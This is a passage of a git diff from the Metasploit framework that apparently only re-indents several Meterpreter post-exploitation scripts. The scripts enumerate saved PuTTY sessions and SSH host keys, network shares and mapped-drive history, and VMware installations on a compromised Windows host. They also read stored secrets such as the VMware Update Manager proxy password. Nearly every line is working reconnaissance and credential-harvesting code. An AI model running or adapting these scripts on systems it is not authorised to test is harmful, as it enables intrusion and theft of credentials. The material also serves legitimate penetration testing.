registry_getvaldata("#{reg_key_base}\\Volatile Environment","APPDATA") - username_profile = appdata_var.scan(/^\w\:\D*\\(\D*)\\\D*$/) - end - if app_list.index("SimonTatham") - print_status("Putty Installed for #{username_profile}") - installed = true - end - return installed + installed = false + app_list = [] + app_list = registry_enumkeys("#{reg_key_base}\\Software") + os = @client.sys.config.sysinfo['OS'] + if os =~ /(Windows 7|2008|Vista)/ + username_profile = registry_getvaldata("#{reg_key_base}\\Volatile Environment","USERNAME") + elsif os =~ /(2000|NET|XP)/ + appdata_var = registry_getvaldata("#{reg_key_base}\\Volatile Environment","APPDATA") + username_profile = appdata_var.scan(/^\w\:\D*\\(\D*)\\\D*$/) + end + if app_list.index("SimonTatham") + print_status("Putty Installed for #{username_profile}") + installed = true + end + return installed end def enum_known_ssh_hosts(reg_key_base) - print_status("Saved SSH Server Public Keys:") - registry_enumvals("#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\SshHostKeys").each do |host| - print_status("\t#{host}") - end + print_status("Saved SSH Server Public Keys:") + registry_enumvals("#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\SshHostKeys").each do |host| + print_status("\t#{host}") + end end def enum_saved_sessions(reg_key_base) - saved_sessions = [] - sessions_protocol = "" - sessions_key = "#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\Sessions" - saved_sessions = registry_enumkeys(sessions_key) - if saved_sessions.length > 0 - saved_sessions.each do |saved_session| - print_status("Session #{saved_session}:") - sessions_protocol = registry_getvaldata(sessions_key+"\\"+saved_session,"Protocol") - if sessions_protocol =~ /ssh/ - print_status("\tProtocol: SSH") - print_status("\tHostname: #{registry_getvaldata(sessions_key+"\\"+saved_session,"HostName")}") - print_status("\tUsername: #{registry_getvaldata(sessions_key+"\\"+saved_session,"UserName")}") - print_status("\tPublic Key: #{registry_getvaldata(sessions_key+"\\"+saved_session,"PublicKeyFile")}") - elsif sessions_protocol =~ /serial/ - print_status("\tProtocol: Serial") - print_status("\tSerial Port: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialLine")}") - print_status("\tSpeed: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialSpeed")}") - print_status("\tData Bits: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialDataBits")}") - print_status("\tFlow Control: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialFlowControl")}") - end - end - end + saved_sessions = [] + sessions_protocol = "" + sessions_key = "#{reg_key_base}\\Software\\SimonTatham\\PuTTY\\Sessions" + saved_sessions = registry_enumkeys(sessions_key) + if saved_sessions.length > 0 + saved_sessions.each do |saved_session| + print_status("Session #{saved_session}:") + sessions_protocol = registry_getvaldata(sessions_key+"\\"+saved_session,"Protocol") + if sessions_protocol =~ /ssh/ + print_status("\tProtocol: SSH") + print_status("\tHostname: #{registry_getvaldata(sessions_key+"\\"+saved_session,"HostName")}") + print_status("\tUsername: #{registry_getvaldata(sessions_key+"\\"+saved_session,"UserName")}") + print_status("\tPublic Key: #{registry_getvaldata(sessions_key+"\\"+saved_session,"PublicKeyFile")}") + elsif sessions_protocol =~ /serial/ + print_status("\tProtocol: Serial") + print_status("\tSerial Port: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialLine")}") + print_status("\tSpeed: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialSpeed")}") + print_status("\tData Bits: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialDataBits")}") + print_status("\tFlow Control: #{registry_getvaldata(sessions_key+"\\"+saved_session,"SerialFlowControl")}") + end + end + end end if client.platform =~ /win32|win64/ - hkcu_base.each do |hkb| - if check_putty(hkb) - enum_known_ssh_hosts(hkb) - enum_saved_sessions(hkb) - end - end + hkcu_base.each do |hkb| + if check_putty(hkb) + enum_known_ssh_hosts(hkb) + enum_saved_sessions(hkb) + end + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_shares.rb b/scripts/meterpreter/enum_shares.rb index 9d49918dd8..19dcff1ca2 100644 --- a/scripts/meterpreter/enum_shares.rb +++ b/scripts/meterpreter/enum_shares.rb @@ -2,115 +2,115 @@ #------------------------------------------------------------------------------- ################## Variable Declarations ################## opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help menu." ] - ) + "-h" => [ false, "Help menu." ] + ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line "Meterpreter Script for Enumerating Shares Offered, History of Mounted Shares," - print_line "History of UNC Paths entered in Run Dialog." - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line "Meterpreter Script for Enumerating Shares Offered, History of Mounted Shares," + print_line "History of UNC Paths entered in Run Dialog." + print_line(opts.usage) + raise Rex::Script::Completed + end } # Function for enumerating recent mapped drives on target machine def enum_recent_mounts(base_key) - recent_mounts = [] - partial_path = base_key + '\Software\\Microsoft\Windows\CurrentVersion\Explorer' - full_path = "#{partial_path}\\Map Network Drive MRU" - explorer_keys = registry_enumkeys(partial_path) - if explorer_keys.include?("Map Network Drive MRU") - registry_enumvals(full_path).each do |k| - if not k =~ /MRUList/ - recent_mounts << registry_getvaldata(full_path,k) - end - end - end - return recent_mounts + recent_mounts = [] + partial_path = base_key + '\Software\\Microsoft\Windows\CurrentVersion\Explorer' + full_path = "#{partial_path}\\Map Network Drive MRU" + explorer_keys = registry_enumkeys(partial_path) + if explorer_keys.include?("Map Network Drive MRU") + registry_enumvals(full_path).each do |k| + if not k =~ /MRUList/ + recent_mounts << registry_getvaldata(full_path,k) + end + end + end + return recent_mounts end # Function for enumerating UNC Paths entered in run dialog box def enum_run_unc(base_key) - unc_paths = [] - full_path = base_key + '\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU' - registry_enumvals(full_path).each do |k| - if k =~ /./ - run_entrie = registry_getvaldata(full_path,k) - unc_paths << run_entrie if run_entrie =~ /^\\\\/ - end - end - return unc_paths + unc_paths = [] + full_path = base_key + '\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU' + registry_enumvals(full_path).each do |k| + if k =~ /./ + run_entrie = registry_getvaldata(full_path,k) + unc_paths << run_entrie if run_entrie =~ /^\\\\/ + end + end + return unc_paths end def enum_conf_shares() - target_os = client.sys.config.sysinfo['OS'] - if target_os =~ /Windows 7|Vista|2008/ - shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares' - else - shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\lanmanserver\\Shares' - end - shares = registry_enumvals(shares_key) - if shares.length > 0 - print_status() - print_status("The following shares where found:") - shares.each do |s| - share_info = registry_getvaldata(shares_key,s).split("\000") - print_status("\tName: #{s}") - share_info.each do |e| - name,val = e.split("=") - print_status("\t#{name}: #{val}") if name =~ /Path|Type/ - end - print_status() - end - end + target_os = client.sys.config.sysinfo['OS'] + if target_os =~ /Windows 7|Vista|2008/ + shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\LanmanServer\\Shares' + else + shares_key = 'HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\services\\lanmanserver\\Shares' + end + shares = registry_enumvals(shares_key) + if shares.length > 0 + print_status() + print_status("The following shares where found:") + shares.each do |s| + share_info = registry_getvaldata(shares_key,s).split("\000") + print_status("\tName: #{s}") + share_info.each do |e| + name,val = e.split("=") + print_status("\t#{name}: #{val}") if name =~ /Path|Type/ + end + print_status() + end + end end if client.platform =~ /win32|64/ - # Variables to hold info - mount_history = [] - run_history = [] + # Variables to hold info + mount_history = [] + run_history = [] - # Enumerate shares being offered - enum_conf_shares() + # Enumerate shares being offered + enum_conf_shares() - if not is_system? - mount_history = enum_recent_mounts("HKEY_CURRENT_USER") - run_history = enum_run_unc("HKEY_CURRENT_USER") - else - user_sid = [] - key = "HKU\\" - root_key, base_key = client.sys.registry.splitkey(key) - open_key = client.sys.registry.open_key(root_key, base_key) - keys = open_key.enum_key - keys.each do |k| - user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/ - end - user_sid.each do |us| - mount_history = mount_history + enum_recent_mounts("HKU\\#{us.chomp}") - run_history = run_history + enum_run_unc("HKU\\#{us.chomp}") - end - end + if not is_system? + mount_history = enum_recent_mounts("HKEY_CURRENT_USER") + run_history = enum_run_unc("HKEY_CURRENT_USER") + else + user_sid = [] + key = "HKU\\" + root_key, base_key = client.sys.registry.splitkey(key) + open_key = client.sys.registry.open_key(root_key, base_key) + keys = open_key.enum_key + keys.each do |k| + user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/ + end + user_sid.each do |us| + mount_history = mount_history + enum_recent_mounts("HKU\\#{us.chomp}") + run_history = run_history + enum_run_unc("HKU\\#{us.chomp}") + end + end - # Enumerate Mount History - if mount_history.length > 0 - print_status("Recent Mounts found:") - mount_history.each do |i| - print_status("\t#{i}") - end - print_status() - end + # Enumerate Mount History + if mount_history.length > 0 + print_status("Recent Mounts found:") + mount_history.each do |i| + print_status("\t#{i}") + end + print_status() + end - #Enumerate UNC Paths entered in the Dialog box - if run_history.length > 0 - print_status("Recent UNC paths entered in Run Dialog found:") - run_history.each do |i| - print_status("\t#{i}") - end - print_status() - end + #Enumerate UNC Paths entered in the Dialog box + if run_history.length > 0 + print_status("Recent UNC paths entered in Run Dialog found:") + run_history.each do |i| + print_status("\t#{i}") + end + print_status() + end else - print_error("This version of Meterpreter is not supported with this Script!") - raise Rex::Script::Completed + print_error("This version of Meterpreter is not supported with this Script!") + raise Rex::Script::Completed end diff --git a/scripts/meterpreter/enum_vmware.rb b/scripts/meterpreter/enum_vmware.rb index 825f5df0e4..27bd35adcc 100644 --- a/scripts/meterpreter/enum_vmware.rb +++ b/scripts/meterpreter/enum_vmware.rb @@ -4,321 +4,321 @@ @client = client opts = Rex::Parser::Arguments.new( - "-h" => [ false,"Help menu." ] + "-h" => [ false,"Help menu." ] ) opts.parse(args) { |opt, idx, val| - case opt - when "-h" - print_line("vmware_enum -- Enumerates VMware Configurations for VMware Products") - print_line("USAGE: run vmware_enum") - print_line(opts.usage) - raise Rex::Script::Completed - end + case opt + when "-h" + print_line("vmware_enum -- Enumerates VMware Configurations for VMware Products") + print_line("USAGE: run vmware_enum") + print_line(opts.usage) + raise Rex::Script::Completed + end } def check_prods() - key = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\VMware, Inc.', KEY_READ) - sfmsvals = key.enum_key - print_status("The Following Products are installed on this host:") - sfmsvals.each do |p| - print_status("\t#{p}") - end - return sfmsvals + key = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE\VMware, Inc.', KEY_READ) + sfmsvals = key.enum_key + print_status("The Following Products are installed on this host:") + sfmsvals.each do |p| + print_status("\t#{p}") + end + return sfmsvals end def check_vmsoft - installed = false - key = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE', KEY_READ) - sfmsvals = key.enum_key - if sfmsvals.include?("VMware, Inc.") - print_status("VMware Products are Installed in Host") - installed = true - else - print_error("No VMware Products where found in this Host.") - end - key.close - return installed + installed = false + key = @client.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SOFTWARE', KEY_READ) + sfmsvals = key.enum_key + if sfmsvals.include?("VMware, Inc.") + print_status("VMware Products are Installed in Host") + installed = true + else + print_error("No VMware Products where found in this Host.") + end + key.close + return installed end def enum_vcenter - print_status("Information about Virtual Center:") - vc_dbuser = nil - vc_dbencpass = nil - vc_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","InstalledVersion") - vc_serial = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","Serial") - vc_dbinstance = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","DBInstanceName") - vc_dbtype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","DBServerType") - vc_tomcatver = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\Tomcat","Version") - vc_type = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","GroupType") - vc_odbcname = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","1") - vc_odbctype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","4") - # vc_odctrustcon = reg_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname}","TrustedConnection") - # print_line("*") - # if vc_odctrustcon.to_i != 1 - # vc_dbuser = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","2") - # print_line("*") - # vc_dbencpass = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","3") - # print_line("*") - # end - vc_dbname = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname.chomp}","Database") - vc_dbserver = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname.chomp}","Server") - print_status("\tVersion: #{vc_version}") - print_status("\tSerial: #{vc_serial}") - print_status("\tvCenter Type: #{vc_type}") - print_status("\tTomcat Version: #{vc_tomcatver}") - print_status("\tDatabase Instance: #{vc_dbinstance}") - print_status("\tDatabase Type: #{vc_dbtype}") - print_status("\tDatabase Name: #{vc_dbname}") - print_status("\tDatabase Server: #{vc_dbserver}") - print_status("\tODBC Name: #{vc_odbcname}") - print_status("\tODBC Type: #{vc_odbctype}") - # if vc_odctrustcon.to_i != 1 - # print_status("\tODBC Username: #{vc_dbuser}") - # print_status("\tODBC Password: #{vc_dbencpass}") - # end + print_status("Information about Virtual Center:") + vc_dbuser = nil + vc_dbencpass = nil + vc_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","InstalledVersion") + vc_serial = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","Serial") + vc_dbinstance = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","DBInstanceName") + vc_dbtype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","DBServerType") + vc_tomcatver = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\Tomcat","Version") + vc_type = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter","GroupType") + vc_odbcname = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","1") + vc_odbctype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","4") + # vc_odctrustcon = reg_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname}","TrustedConnection") + # print_line("*") + # if vc_odctrustcon.to_i != 1 + # vc_dbuser = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","2") + # print_line("*") + # vc_dbencpass = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VirtualCenter\\DB","3") + # print_line("*") + # end + vc_dbname = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname.chomp}","Database") + vc_dbserver = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vc_odbcname.chomp}","Server") + print_status("\tVersion: #{vc_version}") + print_status("\tSerial: #{vc_serial}") + print_status("\tvCenter Type: #{vc_type}") + print_status("\tTomcat Version: #{vc_tomcatver}") + print_status("\tDatabase Instance: #{vc_dbinstance}") + print_status("\tDatabase Type: #{vc_dbtype}") + print_status("\tDatabase Name: #{vc_dbname}") + print_status("\tDatabase Server: #{vc_dbserver}") + print_status("\tODBC Name: #{vc_odbcname}") + print_status("\tODBC Type: #{vc_odbctype}") + # if vc_odctrustcon.to_i != 1 + # print_status("\tODBC Username: #{vc_dbuser}") + # print_status("\tODBC Password: #{vc_dbencpass}") + # end end def enum_viclient - print_status("Information about VMware VI Client:") - vi_pluggins = nil - begin - vi_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Virtual Infrastructure Client\\4.0","InstalledVersion") - vi_pluggins = registry_enumvals("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Virtual Infrastructure Client\\Plugins") - rescue - end - print_status("\tVersion: #{vi_version}") - if vi_pluggins - vi_pluggins.each do |pi| - if pi=~ /Converter/ - print_status("\tPlugin: VMware Converter") - elsif pi =~/UM/ - print_status("\tPlugin: VMware Update Manager") - else - print_status("\tPlugin: #{pi}") - end - end - end + print_status("Information about VMware VI Client:") + vi_pluggins = nil + begin + vi_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Virtual Infrastructure Client\\4.0","InstalledVersion") + vi_pluggins = registry_enumvals("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Virtual Infrastructure Client\\Plugins") + rescue + end + print_status("\tVersion: #{vi_version}") + if vi_pluggins + vi_pluggins.each do |pi| + if pi=~ /Converter/ + print_status("\tPlugin: VMware Converter") + elsif pi =~/UM/ + print_status("\tPlugin: VMware Update Manager") + else + print_status("\tPlugin: #{pi}") + end + end + end - if not is_system? - recentconns = registry_getvaldata("HKCU\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",") - print_status("Recent VI Client Connections:") - recentconns.each do |c| - print_status("\t#{c}") - end - ignore_ssl = registry_enumkeys("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore") - if ignore_ssl.length > 0 - print_status("\tIgnored SSL Certs for") - ignore_ssl.each do |issl| - ssl_key = registry_getvaldata("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl) - print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}") - end + if not is_system? + recentconns = registry_getvaldata("HKCU\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",") + print_status("Recent VI Client Connections:") + recentconns.each do |c| + print_status("\t#{c}") + end + ignore_ssl = registry_enumkeys("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore") + if ignore_ssl.length > 0 + print_status("\tIgnored SSL Certs for") + ignore_ssl.each do |issl| + ssl_key = registry_getvaldata("HKCU\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl) + print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}") + end - end - else - user_sid = [] - key = "HKU\\" - root_key, base_key = @client.sys.registry.splitkey(key) - open_key = @client.sys.registry.open_key(root_key, base_key) - keys = open_key.enum_key - keys.each do |k| - user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/ - end - user_sid.each do |us| - begin - enumed_user = registry_getvaldata("HKU\\#{us}\\Volatile Environment","USERNAME") - print_status("\tRecent VI Client Connections for #{enumed_user}:") - recentconns = registry_getvaldata("HKU\\#{us}\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",") - recentconns.each do |c| - print_status("\t#{c}") - end - ignore_ssl = registry_enumkeys("HKU\\#{us}\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore") - if ignore_ssl.length > 0 - print_status("\tIgnored SSL Certs for #{enumed_user}:") - ignore_ssl.each do |issl| - ssl_key = registry_getvaldata("HCU\\#{us}\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl) - print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}") - end + end + else + user_sid = [] + key = "HKU\\" + root_key, base_key = @client.sys.registry.splitkey(key) + open_key = @client.sys.registry.open_key(root_key, base_key) + keys = open_key.enum_key + keys.each do |k| + user_sid << k if k =~ /S-1-5-21-\d*-\d*-\d*-\d{3,6}$/ + end + user_sid.each do |us| + begin + enumed_user = registry_getvaldata("HKU\\#{us}\\Volatile Environment","USERNAME") + print_status("\tRecent VI Client Connections for #{enumed_user}:") + recentconns = registry_getvaldata("HKU\\#{us}\\Software\\VMware\\VMware Infrastructure Client\\Preferences","RecentConnections").split(",") + recentconns.each do |c| + print_status("\t#{c}") + end + ignore_ssl = registry_enumkeys("HKU\\#{us}\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore") + if ignore_ssl.length > 0 + print_status("\tIgnored SSL Certs for #{enumed_user}:") + ignore_ssl.each do |issl| + ssl_key = registry_getvaldata("HCU\\#{us}\\Software\\VMware\\Virtual Infrastructure Client\\Preferences\\UI\\SSLIgnore",issl) + print_status("\tHost: #{issl} SSL Fingerprint: #{ssl_key}") + end - end - rescue - print_status("\tUser appears to have not used the software.") - end - end - end + end + rescue + print_status("\tUser appears to have not used the software.") + end + end + end end def enum_vum - print_status("Information about VMware Update Manager:") - begin - vum_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","InstalledVersion") - vum_server = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VUMServer") - vum_dbtype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","DBServerType") - vum_direct2web = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","DirectWebAccess") - vum_useproxy = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","UseProxy") - vum_proxyserver = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyServer") - vum_proxyport = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyPort") - vum_proxyuser = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyUserName") - vum_proxypass = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyPassword") - vum_vcentersrv = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VCServer") - vum_vcenterusr = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VCUserName") - vum_patchstore = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","PatchStore") - vum_odbcname = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","1") - vum_odbctype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","4") - vum_dbname = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","Database") - vum_dbserver = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","Server") - # vum_trustedcon = reg_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","TrustedConnection") - # if vum_trustedcon.to_i != 1 - # vum_odbcusename = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","2") - # vum_odbcpass = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","3") - # end - print_status("\tVersion: #{vum_version}") - print_status("\tServer: #{vum_server}") - print_status("\tPatch Store: #{vum_patchstore}") - print_status("\tDatabse Type: #{vum_dbtype}") - print_status("\tUses Proxy: #{vum_useproxy}") - print_status("\tProxy User: #{vum_proxyuser}") - print_status("\tProxy Password: #{vum_proxypass}") - print_status("\tVirtual Center: #{vum_vcentersrv}") - print_status("\tVirtual Center User: #{vum_vcenterusr}") - print_status("\tProxy Server: #{vum_proxyserver}:#{vum_proxyport}") - print_status("\tDatabase Name: #{vum_dbname}") - print_status("\tDatabase Server: #{vum_dbserver}") - print_status("\tODBC Name: #{vum_odbcname}") - print_status("\tODBC Type: #{vum_odbctype}") - # print_status("\t ODBC Trusted: #{vum_trustedcon}") - # if vum_trustedcon.to_i != 1 - # print_status("\tODBC Username: #{vum_odbcusename}") - # print_status("\tODBC Password: #{vum_odbcpass}") - # end - rescue ::Exception => e - print_status("Error: #{e.class} #{e}") - end + print_status("Information about VMware Update Manager:") + begin + vum_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","InstalledVersion") + vum_server = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VUMServer") + vum_dbtype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","DBServerType") + vum_direct2web = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","DirectWebAccess") + vum_useproxy = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","UseProxy") + vum_proxyserver = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyServer") + vum_proxyport = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyPort") + vum_proxyuser = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyUserName") + vum_proxypass = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","ProxyPassword") + vum_vcentersrv = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VCServer") + vum_vcenterusr = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","VCUserName") + vum_patchstore = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager","PatchStore") + vum_odbcname = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","1") + vum_odbctype = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","4") + vum_dbname = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","Database") + vum_dbserver = registry_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","Server") + # vum_trustedcon = reg_getvaldata("HKLM\\SOFTWARE\\ODBC\\ODBC.INI\\#{vum_odbcname.chomp}","TrustedConnection") + # if vum_trustedcon.to_i != 1 + # vum_odbcusename = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","2") + # vum_odbcpass = reg_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware Update Manager\\DB","3") + # end + print_status("\tVersion: #{vum_version}") + print_status("\tServer: #{vum_server}") + print_status("\tPatch Store: #{vum_patchstore}") + print_status("\tDatabse Type: #{vum_dbtype}") + print_status("\tUses Proxy: #{vum_useproxy}") + print_status("\tProxy User: #{vum_proxyuser}") + print_status("\tProxy Password: #{vum_proxypass}") + print_status("\tVirtual Center: #{vum_vcentersrv}") + print_status("\tVirtual Center User: #{vum_vcenterusr}") + print_status("\tProxy Server: #{vum_proxyserver}:#{vum_proxyport}") + print_status("\tDatabase Name: #{vum_dbname}") + print_status("\tDatabase Server: #{vum_dbserver}") + print_status("\tODBC Name: #{vum_odbcname}") + print_status("\tODBC Type: #{vum_odbctype}") + # print_status("\t ODBC Trusted: #{vum_trustedcon}") + # if vum_trustedcon.to_i != 1 + # print_status("\tODBC Username: #{vum_odbcusename}") + # print_status("\tODBC Password: #{vum_odbcpass}") + # end + rescue ::Exception => e + print_status("Error: #{e.class} #{e}") + end end def enum_vdm - print_status("Information about VMware VDM Broker:") - vdm_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VDM","ProductVersion") - print_status("\tVersion: #{vdm_version}") + print_status("Information about VMware VDM Broker:") + vdm_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware VDM","ProductVersion") + print_status("\tVersion: #{vdm_version}") end def enum_powercli - print_status("Information about PowerCLI:") - pcli_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware vSphere PowerCLI","InstalledVersion") - pcli_install_path = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware vSphere PowerCLI","InstallPath") - begin - pcli_poweshell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\WindowsPowerShell","ExecutionPolicy") - rescue - pcli_poweshell_policy = "Restricted" - end - print_status("\tVersion: #{pcli_version}") - print_status("\tInstalled Pat: #{pcli_install_path}") - print_status("\tPowershell Execution Policy: #{pcli_poweshell_policy}") + print_status("Information about PowerCLI:") + pcli_version = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware vSphere PowerCLI","InstalledVersion") + pcli_install_path = registry_getvaldata("HKLM\\SOFTWARE\\VMware, Inc.\\VMware vSphere PowerCLI","InstallPath") + begin + pcli_poweshell_policy = registry_getvaldata("HKLM\\SOFTWARE\\Microsoft\\PowerShell\\1\\ShellIds\\WindowsPowerShell","ExecutionPolicy") + rescue + pcli_poweshell_policy = "Restricted" + end + print_status("\tVersion: #{pcli_version}") + print_status("\tInstalled Pat: #{pcli_install_path}") + print_status("\tPowershell Execution Policy: #{pcli_poweshell_policy}") end #Function to enumerate the users if running as SYSTEM def enum_users - os = @client.sys.config.sysinfo['OS'] - users = [] - user = @client.sys.config.getuid - path4users = "" - sysdrv = @client.fs.file.expand_path("%SystemDrive%") + os = @client.sys.config.sysinfo['OS'] + users = [] + user = 